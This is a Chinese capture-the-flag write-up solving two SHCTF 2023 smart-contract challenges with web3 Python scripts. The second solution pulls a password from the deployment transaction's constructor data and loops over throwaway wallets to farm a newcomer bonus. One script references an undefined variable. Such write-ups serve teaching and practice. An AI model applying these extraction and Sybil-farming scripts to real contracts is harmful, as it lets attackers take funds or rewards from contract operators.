blockchain signin

1
2
3
4
5
6
Can you make the isSolved() function return true?

[1] - Create an account which will be used to deploy the challenge contract
[2] - Deploy the challenge contract using your generated account
[3] - Get your flag once you meet the requirement
[4] - Show the contract source code

不难看出,题目给了一个合约(Contract,而且是每个选手独立提供),需要进行操作让合约的 isSolved 函数返回真值。我们先看一下合约的源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract Greeter {
string greeting;

constructor(string memory _greeting) {
greeting = _greeting;
}

function greet() public view returns (string memory) {
return greeting;
}

function setGreeting(string memory _greeting) public {
greeting = _greeting;
}

function isSolved() public view returns (bool) {
string memory shctf = "welC0meToSHCTF2023";
return
keccak256(abi.encodePacked(shctf)) ==
keccak256(abi.encodePacked(greeting));
}
}

不难看出,本题不需要攻击合约,只要能成功调用 setGreeting 函数将合约中变量 greeting 的值设为 welC0meToSHCTF2023,就可以让 isSolved 函数返回真值,进而完成题目得到 Flag。接下来从基础开始,先生成一个钱包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# create_wallet.py
from web3 import Account
import json

account = Account.create()
wallet_info = {
"address": account.address,
"private_key": account._private_key.hex(),
}

print(f"[WALLET] 已生成新的钱包:{wallet_info['address']}")

WALLET_FILE = "wallet_info.json"
with open(WALLET_FILE, "w") as file:
json.dump(wallet_info, file, indent=4)

print(f"[WALLET] 钱包信息已保存到 {WALLET_FILE} 文件。")

当然再写些基础步骤:读取钱包、连接到节点和查询余额

1
2
3
4
5
6
7
8
9
10
11
12
13
# read_wallet.py
from web3 import Account
import json

WALLET_FILE = "wallet_info.json"
with open(WALLET_FILE, "r") as file:
wallet_info = json.load(file)

wallet_private_key = wallet_info["private_key"]
wallet_account = Account.from_key(wallet_private_key)
wallet_address = wallet_info["address"]

print(f"[WALLET] 读取了一个钱包,其地址为: {wallet_address}")
1
2
3
4
5
6
7
8
9
10
11
12
13
# read_wallet.py
from web3 import Web3
from web3.middleware import geth_poa_middleware

RPC_NODE = "http://101.37.81.166:10001"
w3 = Web3(Web3.HTTPProvider(RPC_NODE))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)

print(f"[NETWORK] 已连接到 RPC 服务器:{RPC_NODE}")

block_number = w3.eth.block_number

print(f"[NETWORK] 当前网络最新块号:{block_number}")
1
2
3
4
5
6
7
# check_balance.py
from read_wallet import wallet_address
from connect_chain import w3

balance = w3.eth.get_balance(wallet_address)

print(f"[APP] 账户 {wallet_address} 的余额: {balance} wei")

先在题目中选择第一个选项,生成题目 Token 和合约部署钱包:

1
2
3
[+] deployer account: 0xD3d76f9dE2cC9B70eC85939828d42aff3327ee39
[+] token: v4.local.p0KqGlvGj72XlK9Jhimk76yVTipT-rw05_RT-QSy15zbCmZfiV6Z3H_iaUnOIuRw25F2725hxdtaa9k7bYjRdCPnNP_0l-2gyn1JNysyF3EGsmV3Tw5fzHgmsrOpBgRsiDx3-1pb7tnEwC1IeeEJpcqP6_aHJQ4jeiC0y35lQnpTQg.R3JlZXRlcg
[+] please transfer more than 0.001 test ether to the deployer account for next step

Token 是题目用来鉴别身份的,和以太坊无关。接下来我们去题目给的水龙头(那是一个网站)里面搞点钱:将自己刚刚生成的钱包和题目给的合约部署钱包的地址分别填入,然后领点钱。当然也可以码个领钱代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# get_faucet.py
from read_wallet import wallet_address
import requests

ETH_FAUCET = "http://101.37.81.166:10002"
USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) \
AppleWebKit/537.36 (KHTML, like Gecko) \
Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60"

response = requests.post(
f"{ETH_FAUCET}/api/claim",
headers={
'Accept': '*/*',
'User-Agent': USER_AGENT
}, data={
'address': wallet_address
})

print(f"[FAUCET] {response.text}")

import check_balance

领完钱后就可以在题目中选择第二个选项部署合约,可以得到合约的地址和部署合约这场交易的交易哈希:

1
2
[+] contract address: 0x248C6B9118A7065653B74FFF4d1bEF4142d4De87
[+] transaction hash: 0xda4f4ee6263e1142bdd7ea6e6978b3d176a82132854968120b0245ad16f62cac

写一些代码用于根据哈希查询交易的详细信息,可以获取一些基础信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from connect_chain import w3

transaction_hash = "0xda4f4ee6263e1142bdd7ea6e6978b3d176a82132854968120b0245ad16f62cac"
transaction = w3.eth.get_transaction(transaction_hash)

if transaction:
print(f"[APP] 查询到交易 {transaction_hash} 的相关信息如下")
print(f"[APP] Chain Id: {transaction['chainId']}")
print(f"[APP] Block Number: {transaction['blockNumber']}")
print(f"[APP] Sender Address: {transaction['from']}")
print(f"[APP] Receiver Address: {transaction['to']}")
print(f"[APP] Transfer Value: {transaction['value']} wei")
print(f"[APP] Gas Price: {transaction['gasPrice']} wei")
print(f"[APP] Gas Limit: {transaction['gas']}")
print(f"[APP] Nonce: {transaction['nonce']}")
# print("[DEBUG]", transaction.__dict__.items())
else:
print(f"[APP] 交易 {transaction_hash} 不存在或尚未被确认。")

可以查询到链 ID 为 15643

1
2
3
4
5
6
7
8
9
[APP] 查询到交易 0xda4f4ee6263e1142bdd7ea6e6978b3d176a82132854968120b0245ad16f62cac 的相关信息如下
[APP] Chain Id: 15643
[APP] Block Number: 61591
[APP] Sender Address: 0xD3d76f9dE2cC9B70eC85939828d42aff3327ee39
[APP] Receiver Address: None
[APP] Transfer Value: 0 wei
[APP] Gas Price: 1000000007 wei
[APP] Gas Limit: 341762
[APP] Nonce: 0

到了这一步,所有准备工作都完成了,直接根据合约代码生成出合约的 ABI(将其保存到 contract_abi.json 中),然后编写合约操作的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
[{
"constant": true,
"inputs": [],
"name": "greet",
"outputs": [{
"name": "",
"type": "string"}],
"payable": false,
"stateMutability": "view",
"type": "function"
}, {
"constant": false,
"inputs": [{
"name": "_greeting",
"type": "string"}],
"name": "setGreeting",
"outputs": [],
"payable": false,
"stateMutability": "nonpayable",
"type": "function"
}, {
"constant": true,
"inputs": [],
"name": "isSolved",
"outputs": [{
"name": "",
"type": "bool"}],
"payable": false,
"stateMutability": "view",
"type": "function"
}]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from read_wallet import wallet_address, wallet_private_key
from connect_chain import w3
import json

contract_address = "0x248C6B9118A7065653B74FFF4d1bEF4142d4De87"

with open("contract_abi.json", "r") as abi_file:
contract_abi = json.load(abi_file)

contract = w3.eth.contract(address=contract_address, abi=contract_abi)

print(f"[CONTRACT] 加载了一个合约,其地址为:{contract_address}")

def send_transaction(transaction, private_key):
signed_transaction = w3.eth.account.sign_transaction(
transaction, private_key)
transaction_hash = w3.eth.send_raw_transaction(
signed_transaction.rawTransaction)

print(f"[TRANSACTION] 发送了一个交易,其哈希为:{transaction_hash.hex()}")
print(f"[TRANSACTION] 正在等待交易确认......")

w3.eth.wait_for_transaction_receipt(transaction_hash)

print(f"[TRANSACTION] 交易已被确认。")
return transaction_hash

def get_greeting():
return contract.functions.greet().call()

def set_greeting(new_greeting: str, wallet_address: str, private_key: str):
transaction = contract.functions.setGreeting(new_greeting).build_transaction({
"chainId": 15643,
"maxFeePerGas": w3.to_wei(1.000000014, 'gwei'),
"maxPriorityFeePerGas": w3.to_wei(1, 'gwei'),
"gas": 0x200000,
"value": w3.to_wei(0, 'ether'),
"nonce": w3.eth.get_transaction_count(wallet_address),
})

return send_transaction(transaction, private_key)

def is_solved():
return contract.functions.isSolved().call()

if __name__ == "__main__":
greeting = get_greeting()
print(f"[APP] 当前问候语: {greeting}")

new_greeting = "welC0meToSHCTF2023"
set_greeting(new_greeting, wallet_address, wallet_private_key)
print(f"[APP] 设置新问候语: {new_greeting}")

greeting = get_greeting()
print(f"[APP] 当前问候语: {greeting}")

solved = is_solved()
print(f"[APP] 是否已解决: {solved}")

程序运行后就完成了问题,连接上题目后通过第三个选项得到 Flag:

1
[+] flag: SHCTF{1T_Ls_a_ESS3N7Iais_8IOCkCh4IN_ChaLLEn6E_Are_you_Ready_7O_DIve_In}

贪玩蓝月

先连上题目扒一下合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.4.25;

contract greedyBlueMoon {
mapping(address => uint) private shards;
mapping(address => uint) private newcomer;
uint private paralysisRing;
address owner;
uint80 private rates;
uint8 private bonus;
uint16 private price;
uint8 private loot;
bytes10 private password;
mapping(address => uint) private attackingType;
mapping(address => uint) private waitTime;

constructor(uint _bonus, uint _price, uint _rates,
uint _loot, bytes10 _password) public {
owner = msg.sender;
bonus = uint8(_bonus);
price = uint16(_price);
rates = uint80(_rates);
loot = uint8(_loot);
password = _password;
}

function newcomerBundle() public {
assert(newcomer[msg.sender] == 0);
shards[msg.sender] += bonus;
newcomer[msg.sender] = 1;
}
function buyShards() public payable {
uint yourMoney = msg.value / rates;
shards[msg.sender] += yourMoney;
}
function fightMob() public {
waitTime[msg.sender] = now + 1 minutes;
attackingType[msg.sender] = 1;
}
function collectingMobLoot() public {
require((waitTime[msg.sender] < now), "Mob is alive");
require(attackingType[msg.sender] == 1);
attackingType[msg.sender] = 0;
shards[msg.sender] += 10;
}
function fightBoss() public {
waitTime[msg.sender] = now + 52 weeks;
attackingType[msg.sender] = 2;
}
function collectingBossLoot() public {
require((waitTime[msg.sender] < now), "Boss is alive");
require(attackingType[msg.sender] == 2);
attackingType[msg.sender] = 0;
paralysisRing += 1;
}
function transfersOfItems(address to, uint value) public {
assert(shards[msg.sender] >= value);
shards[msg.sender] -= value;
shards[to] += value;
}
function redeemingParalyzingRing(bytes10 _key) public {
require((shards[msg.sender] >= price), "Please use the money power");
require(
(keccak256(abi.encodePacked(password)) ==
keccak256(abi.encodePacked(_key))),
"Wrong Password."
);
shards[msg.sender] -= price;
paralysisRing += 1;
}
function isSolved() public view returns (bool) {
require(paralysisRing >= 1);
return true;
}
}

阅读合约代码可以得知,完成题目的要求是得到一个 Paralysis Ring,而做到这一点有两种途径,一个是通过 fightBoss 以及 collectingBossLoot 这两个函数,击杀 Boss 获得物品,不过这其中需要等待 52 周时间(也就是约一年),显然等不起。另一个途径是使用一定数量的 shards 通过 redeemingParalyzingRing 函数直接购买物品,当然这里还需要一个密码,但是这些内容统统是在合约构建的过程中传到链上的,而题目又会给我们创建合约的交易的 Hash,所以直接去这个交易的 input 里面找(相关基础代码在上一题的题解中好像有,不重复写了,constructor 的参数在整个 input 的最后,每个参数占 32 个字节,一共传入 5 个参数,所以直接找尾 160 字节):

1
2
3
4
5
   bonus 0000000000000000000000000000000000000000000000000000000000000042 66
price 0000000000000000000000000000000000000000000000000000000000008f3a 36666
rates 0000000000000000000000000000000000000000000000000666666666666666 461168601842738790
loot 000000000000000000000000000000000000000000000000000000000000000a 10
password 007368637466326f323300000000000000000000000000000000000000000000 shctf2o23

直接购买 Paralysis Ring 的价格高得离谱(相对于通过 buyShards 函数使用以太币购买 shards 来说),优先考虑开小号刷新手大礼包(bonus 高达 66,只需要开约 555 个小号即可)然后将 shards 转给大号:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from read_wallet import wallet_address, wallet_private_key
from connect_chain import w3
from web3 import Account
from tqdm import tqdm
from time import sleep
import json

contract_address = "0x7446E2F30E2C8A8AB665eB9413E8A60c062dA53C"

with open("contract_abi.json", "r") as abi_file:
contract_abi = json.load(abi_file)

contract = w3.eth.contract(address=contract_address, abi=contract_abi)

print(f"[CONTRACT] 加载了一个合约,其地址为:{contract_address}")

def create_wallet(wallet_address: str, private_key: str) -> str:
account = Account.create()
print(f"[WALLET] 已生成新的钱包:{account.address}")

amount_in_wei = w3.to_wei('0.1', 'ether')
nonce = w3.eth.get_transaction_count(wallet_address)
transaction = {
"chainId": 17069,
'to': account.address,
'value': amount_in_wei,
"gas": 0x200000,
'gasPrice': w3.to_wei('100', 'gwei'),
'nonce': nonce,
}
signed_transaction = w3.eth.account.sign_transaction(
transaction, private_key)
tx_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
print(f'[TRANSFER] Transaction sent: {tx_hash.hex()}')
w3.eth.wait_for_transaction_receipt(tx_hash.hex())

balance = w3.eth.get_balance(account.address)
print(f"[APP] 账户 {account.address} 的余额: {balance} wei")

return (account.address, account._private_key.hex())

def send_transaction(transaction, private_key):
signed_transaction = w3.eth.account.sign_transaction(
transaction, private_key)
transaction_hash = w3.eth.send_raw_transaction(
signed_transaction.rawTransaction)

print(f"[TRANSACTION] 发送了一个交易,其哈希为:{transaction_hash.hex()}")
print(f"[TRANSACTION] 正在等待交易确认......")

w3.eth.wait_for_transaction_receipt(transaction_hash)

print(f"[TRANSACTION] 交易已被确认。")

return transaction_hash

def newcomer_bundle(wallet_address: str, private_key: str):
transaction = contract.functions.newcomerBundle().build_transaction({
"chainId": 17069,
"maxFeePerGas": w3.to_wei(1.000000014, 'gwei'),
"maxPriorityFeePerGas": w3.to_wei(1, 'gwei'),
"gas": 0x200000,
"value": w3.to_wei(0, 'ether'),
"nonce": w3.eth.get_transaction_count(wallet_address),
})
return send_transaction(transaction, private_key)

def transfers_of_items(to_address: str, wallet_address: str, private_key: str):
transaction = contract.functions.transfersOfItems(to_address, 0x42).build_transaction({
"chainId": 17069,
"maxFeePerGas": w3.to_wei(1.000000014, 'gwei'),
"maxPriorityFeePerGas": w3.to_wei(1, 'gwei'),
"gas": 0x200000,
"value": w3.to_wei(0, 'ether'),
"nonce": w3.eth.get_transaction_count(wallet_address),
})
return send_transaction(transaction, private_key)

if __name__ == "__main__":
error_count = 0
for i in tqdm(range(100)):
print()
print(f"[BUMP] Counter: {i-error_count}")
try:
tmp_addr, tmp_key = create_wallet(
wallet_address, wallet_private_key)
newcomer_bundle(tmp_addr, tmp_key)
transfers_of_items(wallet_address, tmp_addr, tmp_key)
except ValueError:
print("[BUMP] Error Catched.")
error_count += 1
sleep(5)

刷完之后直接兑换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from read_wallet import wallet_address, wallet_private_key
from connect_chain import w3
import json

contract_address = "0x7446E2F30E2C8A8AB665eB9413E8A60c062dA53C"

with open("contract_abi.json", "r") as abi_file:
contract_abi = json.load(abi_file)

contract = w3.eth.contract(address=contract_address, abi=contract_abi)

print(f"[CONTRACT] 加载了一个合约,其地址为:{contract_address}")

def send_transaction(transaction, private_key):
signed_transaction = w3.eth.account.sign_transaction(
transaction, private_key)
transaction_hash = w3.eth.send_raw_transaction(
signed_transaction.rawTransaction)
print(f"[TRANSACTION] 发送了一个交易,其哈希为:{transaction_hash.hex()}")
print(f"[TRANSACTION] 正在等待交易确认......")

transfer_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)

print("[DEBUG]", transfer_receipt)
print(f"[TRANSACTION] 交易已被确认。")

return transaction_hash

def buy_shards(value: int, wallet_address: str, private_key: str):
transaction = contract.functions.buyShards().build_transaction({
"chainId": 17069,
"maxFeePerGas": w3.to_wei(1.000000014, 'gwei'),
"maxPriorityFeePerGas": w3.to_wei(1, 'gwei'),
"gas": 0x200000,
"value": w3.to_wei(value, 'ether'),
"nonce": w3.eth.get_transaction_count(wallet_address),
})
return send_transaction(transaction, private_key)

def redeeming_paralyzing_ring(key: str, wallet_address: str, private_key: str):
transaction = contract.functions.redeemingParalyzingRing(
bytes(key.rjust(10, '\0'), 'utf-8')).build_transaction({
"chainId": 17069,
"maxFeePerGas": w3.to_wei(1.000000014, 'gwei'),
"maxPriorityFeePerGas": w3.to_wei(1, 'gwei'),
"gas": 0x200000,
"value": w3.to_wei(0, 'ether'),
"nonce": w3.eth.get_transaction_count(wallet_address),
})
return send_transaction(transaction, private_key)

def is_solved():
return contract.functions.isSolved().call()

def transfers_of_items(amount: int, to_address: str, wallet_address: str, private_key: str):
transaction = contract.functions.transfersOfItems(to_address, amount).build_transaction({
"chainId": 17069,
"maxFeePerGas": w3.to_wei(1.000000014, 'gwei'),
"maxPriorityFeePerGas": w3.to_wei(1, 'gwei'),
"gas": 0x200000,
"value": w3.to_wei(0, 'ether'),
"nonce": w3.eth.get_transaction_count(wallet_address),
})
return send_transaction(transaction, private_key)

if __name__ == "__main__":
# buy_shards(10, wallet_address, wallet_private_key).hex()
print(redeeming_paralyzing_ring("shctf2o23",
wallet_address, wallet_private_key).hex())
# transfer = transfers_of_items(366660, wallet_address,
# wallet_address, wallet_private_key).hex()
transfer_receipt = w3.eth.get_transaction_receipt(transfer)

print("[DEBUG]", transfer_receipt.__dict__.items())

Flag:SHCTF{AirDrop_Hunting_1s_v3ry_w0ndeRful_bUt_ESsEnT1AIs}